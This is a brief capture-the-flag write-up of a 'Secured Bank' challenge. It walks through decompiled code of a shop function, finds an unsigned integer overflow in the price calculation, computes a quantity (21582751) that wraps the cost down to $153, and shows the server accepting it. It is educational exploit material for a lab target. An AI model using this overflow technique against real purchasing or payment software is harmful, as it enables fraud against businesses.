Secured Bank - Solve CTF Challenge
Every functions are decompiled by using IDA Free
Step 1: check the binary file by using IDA
After checking all the regular functions. I find function buy_items() can be exploit
int buy_items()
{
unsigned int v1; // [rsp+8h] [rbp-8h] BYREF
unsigned int v2; // [rsp+Ch] [rbp-4h]
printf("How many items to buy? ");
__isoc99_scanf("%u", &v1);
getchar();
if ( !v1 )
return puts("[!] Quantity must be at least 1.");
v2 = 199 * v1;
printf("[*] Order: %u items x $%u = $%u\n", v1, 199LL, 199 * v1);
if ( wallet < v2 )
return printf("[!] Not enough money! Cost: $%u, Wallet: $%u\n", v2, (unsigned int)wallet);
wallet -= v2;
points += v1;
return printf("[+] Success! Wallet: $%u | Points: %u\n", (unsigned int)wallet, (unsigned int)points);
}
v1 holds the quantity of user input
v2 is the sum of amount user needs to pay
Step 2: Interger Overflow
v2 is an unsigned int so range of this variable is from 0 to 2^32. I can take advantage of this to calculate the right amount of quantity input so it will wraps around to a smaller value that the user can pay.
c
v2 = 199 * v1;
The calculation: 4294967296 / 199 ~= 21582750
Quantity: 21582750 is not enough because 21582750 * 199 = 4294967250 this is not enough to make the variable to be wrap around. So I add one more value.
As a result, 21582751 * 199 = 153
Step 3: Try on the server
+----------------------------------+
| Welcome to SECURE VAULT(TM) |
| Starting wallet: $500 |
+----------------------------------+
+----------------------------------+
| SECURE VAULT SHOP |
+----------------------------------+
| Wallet : $500 |
| Points : 0 |
| Vault : LOCKED |
+----------------------------------+
| 1. Buy items (earn points) |
| 2. Redeem points for Vault |
| 3. Open Vault |
| 4. Exit |
+----------------------------------+
Choice: 1
How many items to buy? 21582751
[*] Order: 21582751 items x $199 = $153
[+] Success! Wallet: $347 | Points: 21582751
Yeah, it works :3